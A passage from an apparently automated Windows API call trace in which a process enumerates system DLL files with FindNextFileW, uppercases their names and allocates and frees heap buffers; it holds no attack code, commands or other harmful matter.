(HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x24c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0185.119] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.119] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.120] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x24c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.120] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x24c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.120] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x24c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.120] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.120] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.120] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.121] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x24c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.121] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x24c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.121] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.121] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0185.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x24c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.122] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x24c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.122] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x24c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.122] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.122] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.122] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x24c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.123] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x24c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.123] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.123] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x24c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.123] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.123] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.124] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 